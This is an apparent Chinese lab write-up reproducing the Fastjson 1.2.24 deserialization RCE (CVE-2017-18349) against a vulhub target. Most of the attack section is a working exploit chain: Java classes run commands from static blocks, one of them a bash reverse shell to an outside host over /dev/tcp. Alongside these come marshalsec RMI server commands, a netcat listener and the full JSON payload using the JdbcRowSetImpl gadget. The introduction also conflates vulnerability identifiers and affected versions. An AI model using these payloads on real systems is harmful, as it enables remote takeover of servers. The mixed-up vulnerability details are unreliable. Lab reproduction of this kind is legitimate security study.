Fastjson1.2.24-RCE (CVE-2017-18349)

本系列所有漏洞环境均使用vulhub建立
可参考
[Kali安装vulhub][1]

进入正题

漏洞简介

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

阿里巴巴公司开源Java开发组件Fastjson存在反序列化漏洞(CNVD-2022-40233)。攻击者可利用该漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。

影响版本:

fastjson<=1.2.24

该漏洞影响fastjson 1.2.80及之前所有版本
![Snipaste_2024-05-11_21-35-06.png][2]

漏洞复现

开启环境如下
![2024-05-11T13:36:31.png][3]

在宿主机(攻击机)进行操作

1、使用com.sun.rowset.JdbcRowSetImpl的利用链,通过 JNDI 注入来执行命令
2、先编译上传命令执行代码,新建 TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
// do nothing
        }
    }
}

3、打开终端cmd执行javac TouchFile.java编译,此时生成TouchFile.class文件
4、利用python快速启动临时web服务(ps.省事),python -m http.server 8888
![2024-05-11T14:10:49.png][4]

5、利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar
6、通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class
![2024-05-11T14:28:49.png][5]

用java8执行,高版本会报错
7、利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到下图的RMI服务已经发送了TouchFile
![2024-05-11T15:23:19.png][6]

![2024-05-11T15:23:41.png][7]

这里burp没有返回正确的如下
![2024-05-11T15:24:55.png][8]

不过好歹是有东西了
8、进入虚拟机,sudo docker ps查看容器id,执行docker exec -it cee172eaba70 bash进入容器,执行ls /tmp,查看到,我们成功创建了success文件
![2024-05-11T15:22:43.png][9]

获取webshell

1、道理同上,创建shell.java,并执行javac shell.java进行编译

import java.lang.Runtime;
import java.lang.Process;
public class shell{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {binbash,-c,exec 5<>/dev/tcp/192.168.0.197/19527;cat <&5  | while read line; do $line 2>&5 >&5; done};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
             do nothing
        }
    }
}

2、将marshalsec指定文件改成shell
同样python起个环境
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335

3、下载一个netcat,https://eternallybored.org/misc/netcat/,在本地监听19527端口。
.\nc.exe -lvvp 19527
利用BurpSuite发送payload

POST / HTTP/1.1
Host: 192.168.8.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 159

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.197:2335/shell",
        "autoCommit":true
    }
}

成功获得root权限,可执行命令
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值